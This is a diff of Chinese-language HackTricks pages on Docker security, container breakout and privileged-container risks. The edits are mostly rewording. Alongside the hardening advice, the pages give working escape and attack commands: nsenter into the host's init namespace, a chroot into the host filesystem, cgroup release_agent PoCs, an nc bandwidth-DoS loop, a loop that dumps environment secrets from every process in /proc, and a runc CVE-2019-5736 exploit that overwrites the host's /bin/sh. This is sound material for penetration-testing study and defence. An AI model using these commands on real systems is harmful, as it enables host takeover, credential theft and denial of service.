|
||||
Docker 利用以下 Linux 内核命名空间来实现容器隔离:
|
||||
|
||||
@ -139,7 +139,7 @@ Docker 利用以下 Linux 内核命名空间来实现容器隔离:
|
||||
- ipc namespace
|
||||
- UTS namespace
|
||||
|
||||
有关命名空间的**更多信息**,请查看以下页面:
|
||||
有关**命名空间的更多信息**,请查看以下页面:
|
||||
|
||||
{{#ref}}
|
||||
namespaces/
|
||||
@ -147,8 +147,8 @@ namespaces/
|
||||
|
||||
### cgroups
|
||||
|
||||
Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**等的能力,适用于一组进程。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\
|
||||
以下是一个用户空间内存限制为 500m,内核内存限制为 50m,CPU 共享为 512,blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比例。它的默认值为 1024,范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024,则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比例。它的默认值为 500,范围在 10 到 1000 之间。
|
||||
Linux 内核特性**cgroups**提供了**限制一组进程的资源,如 CPU、内存、IO、网络带宽**的能力。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\
|
||||
以下是一个用户空间内存限制为 500m,内核内存限制为 50m,CPU 共享为 512,blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比率。它的默认值为 1024,范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024,则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比率。它的默认值为 500,范围在 10 到 1000 之间。
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
@ -193,7 +193,7 @@ apparmor.md
|
||||
### Docker中的SELinux
|
||||
|
||||
- **标记系统**:SELinux为每个进程和文件系统对象分配一个唯一的标签。
|
||||
- **策略执行**:它执行安全策略,定义进程标签可以对系统内其他标签执行的操作。
|
||||
- **策略执行**:它执行定义进程标签可以对系统内其他标签执行哪些操作的安全策略。
|
||||
- **容器进程标签**:当容器引擎启动容器进程时,通常会分配一个受限的SELinux标签,通常为`container_t`。
|
||||
- **容器内文件标记**:容器内的文件通常标记为`container_file_t`。
|
||||
- **策略规则**:SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件进行交互(读取、写入、执行)。
|
||||
@ -209,7 +209,7 @@ apparmor.md
|
||||
在Docker中,授权插件在安全性中发挥着关键作用,通过决定是否允许或阻止对Docker守护进程的请求来实现。这一决定是通过检查两个关键上下文来做出的:
|
||||
|
||||
- **身份验证上下文**:这包括有关用户的全面信息,例如他们是谁以及他们如何进行身份验证。
|
||||
- **命令上下文**:这包括与所发出请求相关的所有相关数据。
|
||||
- **命令上下文**:这包括与所发请求相关的所有相关数据。
|
||||
|
||||
这些上下文有助于确保只有经过身份验证的用户的合法请求被处理,从而增强Docker操作的安全性。
|
||||
|
||||
@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
||||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
- 带宽 DoS
|
||||
- 带宽DoS
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
@ -247,7 +247,7 @@ docker-privileged.md
|
||||
|
||||
#### no-new-privileges
|
||||
|
||||
如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会滥用它并 **在容器内提升权限**。这可能允许他逃离容器。
|
||||
如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会利用它并 **在容器内提升权限**。这可能允许他逃离容器。
|
||||
|
||||
启用 **`no-new-privileges`** 选项运行容器将 **防止这种权限提升**。
|
||||
```
|
||||
@ -276,9 +276,9 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
|
||||
避免直接在 Docker 镜像中嵌入机密或使用环境变量至关重要,因为这些方法会通过 `docker inspect` 或 `exec` 等命令将您的敏感信息暴露给任何可以访问容器的人。
|
||||
|
||||
**Docker 卷** 是一种更安全的替代方案,推荐用于访问敏感信息。它们可以作为内存中的临时文件系统使用,从而降低与 `docker inspect` 和日志记录相关的风险。然而,根用户和具有 `exec` 访问权限的用户仍然可能访问这些机密。
|
||||
**Docker 卷** 是一种更安全的替代方案,推荐用于访问敏感信息。它们可以作为内存中的临时文件系统使用,减轻与 `docker inspect` 和日志记录相关的风险。然而,根用户和具有 `exec` 访问权限的用户仍然可能访问这些机密。
|
||||
|
||||
**Docker secrets** 提供了一种更安全的方法来处理敏感信息。对于在镜像构建阶段需要机密的实例,**BuildKit** 提供了一种高效的解决方案,支持构建时机密,提升构建速度并提供额外功能。
|
||||
**Docker secrets** 提供了一种更安全的方法来处理敏感信息。对于在镜像构建阶段需要机密的实例,**BuildKit** 提供了一个高效的解决方案,支持构建时机密,提升构建速度并提供额外功能。
|
||||
|
||||
要利用 BuildKit,可以通过三种方式激活:
|
||||
|
||||
@ -286,7 +286,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
2. 通过命令前缀: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. 通过在 Docker 配置中默认启用: `{ "features": { "buildkit": true } }`,然后重启 Docker。
|
||||
|
||||
BuildKit 允许使用 `--secret` 选项来使用构建时机密,确保这些机密不会包含在镜像构建缓存或最终镜像中,使用命令如下:
|
||||
BuildKit 允许使用 `--secret` 选项来处理构建时机密,确保这些机密不会包含在镜像构建缓存或最终镜像中,使用命令如下:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
@ -325,16 +325,16 @@ https://katacontainers.io/
|
||||
|
||||
### 总结提示
|
||||
|
||||
- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker socket**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker socket 允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用 `--privileged` 标志运行另一个容器。
|
||||
- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的 root 与主机上的 root 是相同的,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。
|
||||
- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker 套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker 套接字允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用 `--privileged` 标志运行另一个容器。
|
||||
- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器中的 root 与主机上的相同,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。
|
||||
- [**丢弃所有能力**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`),仅启用所需的能力** (`--cap-add=...`)。许多工作负载不需要任何能力,添加它们会增加潜在攻击的范围。
|
||||
- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **以防止进程获得更多权限,例如通过 suid 二进制文件。**
|
||||
- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)以防止进程获得更多权限,例如通过 suid 二进制文件。
|
||||
- [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** 资源限制可以保护机器免受拒绝服务攻击。
|
||||
- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件,以将容器可用的操作和系统调用限制到最低要求。
|
||||
- **使用** [**官方 docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将 root 密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。
|
||||
- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件,以将容器可用的操作和系统调用限制到最低要求。
|
||||
- **使用** [**官方 Docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将根密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。
|
||||
- **定期** **重建** 镜像以 **应用安全补丁到主机和镜像。**
|
||||
- 明智地管理您的 **秘密**,使攻击者难以访问它们。
|
||||
- 如果您 **暴露 docker 守护进程,请使用 HTTPS**,并进行客户端和服务器身份验证。
|
||||
- 明智地管理您的 **秘密**,以使攻击者难以访问它们。
|
||||
- 如果您 **暴露 Docker 守护进程,请使用 HTTPS**,并进行客户端和服务器身份验证。
|
||||
- 在您的 Dockerfile 中,**优先使用 COPY 而不是 ADD**。ADD 会自动提取压缩文件,并可以从 URL 复制文件。COPY 没有这些功能。尽可能避免使用 ADD,以免受到通过远程 URL 和 Zip 文件的攻击。
|
||||
- 为每个微服务 **使用单独的容器**
|
||||
- **不要在容器内放置 ssh**,可以使用 “docker exec” 连接到容器。
|
||||
@ -342,7 +342,7 @@ https://katacontainers.io/
|
||||
|
||||
## Docker 突破 / 权限提升
|
||||
|
||||
如果您 **在 docker 容器内** 或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**:
|
||||
如果您 **在 Docker 容器内** 或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**:
|
||||
|
||||
{{#ref}}
|
||||
docker-breakout-privilege-escalation/
|
||||
@ -350,7 +350,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Docker 身份验证插件绕过
|
||||
|
||||
如果您可以访问 docker socket 或者有权访问 **docker 组中的用户,但您的操作受到 docker 身份验证插件的限制**,请检查您是否可以 **绕过它:**
|
||||
如果您可以访问 Docker 套接字或可以访问 **docker 组中的用户,但您的操作受到 Docker 身份验证插件的限制**,请检查您是否可以 **绕过它:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -359,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
## 加固 Docker
|
||||
|
||||
- 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本,检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的,并基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
|
||||
您需要从运行 docker 的主机或具有足够权限的容器中运行该工具。查找 **如何在 README 中运行它:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
您需要从运行 Docker 的主机或具有足够权限的容器中运行该工具。了解 **如何在 README 中运行它:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## 自动枚举与逃逸
|
||||
|
||||
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 它也可以 **枚举容器**
|
||||
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 这个工具对于枚举你所在的容器非常 **有用,甚至尝试自动逃逸**
|
||||
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 这个工具对于枚举你所在的容器非常 **有用,甚至可以尝试自动逃逸**
|
||||
- [**amicontained**](https://github.com/genuinetools/amicontained): 有用的工具,用于获取容器的权限,以便找到逃逸的方法
|
||||
- [**deepce**](https://github.com/stealthcopter/deepce): 用于枚举和逃逸容器的工具
|
||||
- [**grype**](https://github.com/anchore/grype): 获取镜像中安装的软件所包含的 CVE
|
||||
@ -33,13 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||||
# Get full privs in container without --privileged
|
||||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
> [!NOTE]
|
||||
> 如果 **docker socket 在意外的位置**,您仍然可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
|
||||
> [!TIP]
|
||||
> 如果**docker socket在意外的位置**,您仍然可以使用带有参数**`-H unix:///path/to/docker.sock`**的**`docker`**命令与其通信。
|
||||
|
||||
Docker 守护进程也可能 [在端口上监听 (默认 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md),或者在基于 Systemd 的系统上,可以通过 Systemd socket `fd://` 与 Docker 守护进程进行通信。
|
||||
Docker守护进程也可能在一个端口上[监听(默认2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md),或者在基于Systemd的系统上,可以通过Systemd socket `fd://`与Docker守护进程进行通信。
|
||||
|
||||
> [!NOTE]
|
||||
> 此外,请注意其他高级运行时的运行时套接字:
|
||||
> [!TIP]
|
||||
> 此外,请注意其他高级运行时的运行时socket:
|
||||
>
|
||||
> - dockershim: `unix:///var/run/dockershim.sock`
|
||||
> - containerd: `unix:///run/containerd/containerd.sock`
|
||||
@ -52,7 +52,7 @@ Docker 守护进程也可能 [在端口上监听 (默认 2375, 2376)](../../../.
|
||||
|
||||
您应该检查容器的能力,如果它具有以下任何一种,您可能能够逃离它:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`**
|
||||
|
||||
您可以使用 **之前提到的自动工具** 或:
|
||||
您可以使用**之前提到的自动工具**或:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
@ -76,7 +76,7 @@ capsh --print
|
||||
- `--cgroupns=host`
|
||||
- `Mount /dev`
|
||||
|
||||
`--privileged` 标志显著降低容器安全性,提供**无限制的设备访问**并绕过**多个保护**。有关详细信息,请参阅 `--privileged` 的完整影响文档。
|
||||
`--privileged` 标志显著降低了容器安全性,提供**无限制的设备访问**并绕过**多个保护措施**。有关详细信息,请参阅 `--privileged` 的完整影响文档。
|
||||
|
||||
{{#ref}}
|
||||
../docker-privileged.md
|
||||
@ -84,15 +84,15 @@ capsh --print
|
||||
|
||||
### 特权 + hostPID
|
||||
|
||||
拥有这些权限后,您可以**像 init(pid:1)一样移动到主机上以 root 身份运行的进程的命名空间**,只需运行:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
拥有这些权限后,您可以**像 init(pid:1)一样,直接移动到主机上以 root 身份运行的进程的命名空间**,只需运行:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
在容器中执行测试:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### 特权
|
||||
### Privileged
|
||||
|
||||
仅凭特权标志,您可以尝试 **访问主机的磁盘** 或尝试 **通过释放代理或其他逃逸进行逃逸**。
|
||||
仅凭特权标志,您可以尝试**访问主机的磁盘**或尝试**通过滥用 release_agent 或其他逃逸进行逃逸**。
|
||||
|
||||
在容器中执行以下绕过测试:
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### 挂载磁盘 - Poc1
|
||||
|
||||
配置良好的 docker 容器不会允许像 **fdisk -l** 这样的命令。然而,在错误配置的 docker 命令中,如果指定了标志 `--privileged` 或 `--device=/dev/sda1`,则可以获得查看主机驱动器的权限。
|
||||
配置良好的 docker 容器不会允许像 **fdisk -l** 这样的命令。然而,在错误配置的 docker 命令中,如果指定了标志 `--privileged` 或 `--device=/dev/sda1`(带大写),则可以获得查看主机驱动器的权限。
|
||||
|
||||

|
||||
|
||||
@ -168,7 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
#### 特权逃逸滥用创建的 release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### 特权逃逸 利用创建的 release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
```bash:Second PoC
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
@ -329,14 +329,16 @@ sensitive-mounts.md
|
||||
|
||||
### 任意挂载
|
||||
|
||||
在多种情况下,您会发现**容器从主机挂载了一些卷**。如果这个卷没有正确配置,您可能能够**访问/修改敏感数据**:读取秘密,修改ssh authorized_keys…
|
||||
在多个场合,您会发现**容器从主机挂载了一些卷**。如果这个卷没有正确配置,您可能能够**访问/修改敏感数据**:读取秘密,修改ssh authorized_keys…
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 使用两个 shell 和主机挂载进行权限提升
|
||||
另一个有趣的例子可以在 [**这个博客**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) 中找到,其中指出主机的 `/usr/bin/` 和 `/bin/` 文件夹被挂载在容器内,允许容器的 root 用户修改这些文件夹中的二进制文件。因此,如果 cron 作业使用了那里的任何二进制文件,例如 `/etc/cron.d/popularity-contest`,这允许通过修改 cron 作业使用的二进制文件来逃离容器。
|
||||
|
||||
如果您以 **root 身份访问一个容器**,该容器挂载了主机上的某个文件夹,并且您已经 **以非特权用户身份逃逸到主机**,并且对挂载的文件夹具有读取权限。\
|
||||
您可以在 **容器** 内的 **挂载文件夹** 中创建一个 **bash suid 文件**,并 **从主机执行它** 以进行权限提升。
|
||||
### 使用 2 个 shell 和主机挂载进行特权提升
|
||||
|
||||
如果您作为 **root 访问容器**,并且该容器挂载了主机的某个文件夹,并且您已经 **作为非特权用户逃离到主机** 并对挂载的文件夹具有读取权限。\
|
||||
您可以在 **容器** 内的 **挂载文件夹** 中创建一个 **bash suid 文件**,并 **从主机执行它** 以进行特权提升。
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
@ -346,8 +348,12 @@ bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### Privilege Escalation with 2 shells
|
||||
|
||||
如果您在**容器内以root身份访问**并且已经**以非特权用户身份逃逸到主机**,您可以利用两个shell来**在主机内进行特权升级**,前提是您在容器内具有MKNOD能力(默认情况下是这样的),如[**在这篇文章中所述**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
拥有这样的能力,容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如
|
||||
如果您在 **容器内以 root 身份访问**,并且您已经 **以非特权用户身份逃逸到主机**,您可以利用这两个 shell 来 **在主机内进行特权升级**,前提是您在容器内具有 MKNOD 能力(默认情况下是这样的),正如 [**在这篇文章中解释的**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
拥有这样的能力,容器内的 root 用户被允许 **创建块设备文件**。设备文件是用于 **访问底层硬件和内核模块** 的特殊文件。例如,/dev/sda 块设备文件提供了 **读取系统磁盘上的原始数据** 的访问权限。
|
||||
|
||||
Docker 通过强制执行 cgroup 策略来防止容器内块设备的滥用,该策略 **阻止块设备的读/写操作**。然而,如果在容器内 **创建了块设备**,则可以通过 **/proc/PID/root/** 目录从容器外部访问它。此访问要求 **进程所有者在容器内外相同**。
|
||||
|
||||
**利用** 示例来自这篇 [**写作**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
@ -391,7 +397,7 @@ docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
例如,您将能够使用类似 `ps auxn` 的命令列出进程,并在命令中搜索敏感细节。
|
||||
|
||||
然后,您可以 **访问 /proc/ 中主机的每个进程,您可以通过运行来窃取它们的环境秘密:**
|
||||
然后,您可以**访问 /proc/ 中主机的每个进程,您可以通过运行来窃取它们的环境秘密**:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
@ -419,7 +425,7 @@ cat /proc/635813/fd/4
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
如果一个容器使用 Docker [主机网络驱动程序 (`--network=host`)](https://docs.docker.com/network/host/) 配置,那么该容器的网络栈就不会与 Docker 主机隔离(容器共享主机的网络命名空间),并且容器不会分配自己的 IP 地址。换句话说,**容器将所有服务直接绑定到主机的 IP**。此外,容器可以**拦截主机在共享接口上发送和接收的所有网络流量** `tcpdump -i eth0`。
|
||||
如果一个容器配置了 Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/),那么该容器的网络栈就不会与 Docker 主机隔离(容器共享主机的网络命名空间),并且容器不会分配自己的 IP 地址。换句话说,**容器将所有服务直接绑定到主机的 IP**。此外,容器可以**拦截主机在共享接口上发送和接收的所有网络流量** `tcpdump -i eth0`。
|
||||
|
||||
例如,您可以使用此方法**嗅探甚至伪造主机与元数据实例之间的流量**。
|
||||
|
||||
@ -428,7 +434,7 @@ docker run --rm -it --network=host ubuntu bash
|
||||
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
|
||||
|
||||
您还将能够访问**绑定到 localhost 的网络服务**,甚至访问**节点的元数据权限**(这可能与容器可以访问的权限不同)。
|
||||
您还将能够访问**绑定到 localhost 的网络服务**,或者甚至访问**节点的元数据权限**(这可能与容器可以访问的权限不同)。
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
@ -437,11 +443,11 @@ docker run --rm -it --ipc=host ubuntu bash
|
||||
使用 `hostIPC=true`,您可以访问主机的进程间通信(IPC)资源,例如 `/dev/shm` 中的 **共享内存**。这允许读取/写入其他主机或 pod 进程使用的相同 IPC 资源。使用 `ipcs` 进一步检查这些 IPC 机制。
|
||||
|
||||
- **检查 /dev/shm** - 查找此共享内存位置中的任何文件: `ls -la /dev/shm`
|
||||
- **检查现有 IPC 设施** – 您可以检查是否正在使用任何 IPC 设施,使用 `/usr/bin/ipcs`。检查命令为: `ipcs -a`
|
||||
- **检查现有的 IPC 设施** – 您可以检查是否正在使用任何 IPC 设施,使用 `/usr/bin/ipcs`。检查命令为: `ipcs -a`
|
||||
|
||||
### 恢复能力
|
||||
|
||||
如果系统调用 **`unshare`** 没有被禁止,您可以恢复所有能力:
|
||||
如果系统调用 **`unshare`** 没有被禁止,您可以通过运行来恢复所有能力:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
@ -449,13 +455,13 @@ cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### 用户命名空间滥用通过符号链接
|
||||
|
||||
帖子中解释的第二种技术 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) 指出如何滥用绑定挂载与用户命名空间,以影响主机内部的文件(在特定情况下,删除文件)。
|
||||
帖子中解释的第二种技术 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) 指出如何利用用户命名空间滥用绑定挂载,以影响主机内部的文件(在特定情况下,删除文件)。
|
||||
|
||||
## CVEs
|
||||
|
||||
### Runc 漏洞 (CVE-2019-5736)
|
||||
|
||||
如果您可以以 root 身份执行 `docker exec`(可能使用 sudo),您可以尝试通过滥用 CVE-2019-5736 来提升权限(漏洞 [在这里](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。该技术基本上会 **覆盖** **主机** 的 _**/bin/sh**_ 二进制文件 **从容器中**,因此任何执行 docker exec 的人都可能触发有效载荷。
|
||||
如果您可以以 root 身份执行 `docker exec`(可能使用 sudo),您可以尝试通过利用 CVE-2019-5736 来提升权限(漏洞 [在这里](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。该技术基本上将 **主机** 的 _**/bin/sh**_ 二进制文件 **从容器中** **覆盖**,因此任何执行 docker exec 的人都可能触发有效载荷。
|
||||
|
||||
相应地更改有效载荷,并使用 `go build main.go` 构建 main.go。生成的二进制文件应放置在 docker 容器中以供执行。\
|
||||
执行时,一旦显示 `[+] Overwritten /bin/sh successfully`,您需要从主机机器执行以下命令:
|
||||
@ -464,18 +470,18 @@ cat /proc/self/status | grep CapEff
|
||||
|
||||
这将触发 main.go 文件中存在的有效载荷。
|
||||
|
||||
更多信息请参见:[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
更多信息: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
> [!NOTE]
|
||||
> 容器可能还会受到其他 CVE 的影响,您可以在 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) 找到列表。
|
||||
> [!TIP]
|
||||
> 容器可能还会受到其他 CVE 的影响,您可以在 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) 找到列表
|
||||
|
||||
## Docker 自定义逃逸
|
||||
|
||||
### Docker 逃逸表面
|
||||
|
||||
- **命名空间**:进程应该通过命名空间与其他进程 **完全隔离**,因此我们无法通过命名空间与其他进程交互(默认情况下无法通过 IPC、unix 套接字、网络服务、D-Bus、其他进程的 `/proc` 进行通信)。
|
||||
- **命名空间:** 进程应该通过命名空间与其他进程 **完全隔离**,因此我们无法通过命名空间与其他进程交互(默认情况下无法通过 IPC、unix 套接字、网络服务、D-Bus、其他进程的 `/proc` 进行通信)。
|
||||
- **根用户**:默认情况下,运行进程的用户是根用户(但其权限是有限的)。
|
||||
- **能力**:Docker 保留以下能力:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
- **能力**:Docker 保留以下能力: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
- **系统调用**:这些是 **根用户无法调用** 的系统调用(因为缺乏能力 + Seccomp)。其他系统调用可以用来尝试逃逸。
|
||||
|
||||
{{#tabs}}
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 影响
|
||||
## 影响因素
|
||||
|
||||
当您以特权模式运行容器时,您正在禁用以下保护:
|
||||
当你以特权模式运行容器时,你正在禁用以下保护:
|
||||
|
||||
### 挂载 /dev
|
||||
|
||||
在特权容器中,所有的 **设备可以在 `/dev/` 中访问**。因此,您可以通过 **挂载** 主机的磁盘来 **逃逸**。
|
||||
在特权容器中,所有的 **设备可以在 `/dev/` 中访问**。因此,你可以通过 **挂载** 主机的磁盘来 **逃逸**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
@ -49,7 +49,7 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="内部特权容器"}}
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
mount | grep '(ro'
|
||||
@ -59,7 +59,7 @@ mount | grep '(ro'
|
||||
|
||||
### 遮蔽内核文件系统
|
||||
|
||||
**/proc** 文件系统是选择性可写的,但出于安全考虑,某些部分通过覆盖 **tmpfs** 进行保护,确保容器进程无法访问敏感区域。
|
||||
**/proc** 文件系统是选择性可写的,但出于安全原因,某些部分通过用 **tmpfs** 进行覆盖而屏蔽了写入和读取访问,确保容器进程无法访问敏感区域。
|
||||
|
||||
> [!NOTE] > **tmpfs** 是一个将所有文件存储在虚拟内存中的文件系统。tmpfs 不会在你的硬盘上创建任何文件。因此,如果你卸载一个 tmpfs 文件系统,里面的所有文件将永远丢失。
|
||||
|
||||
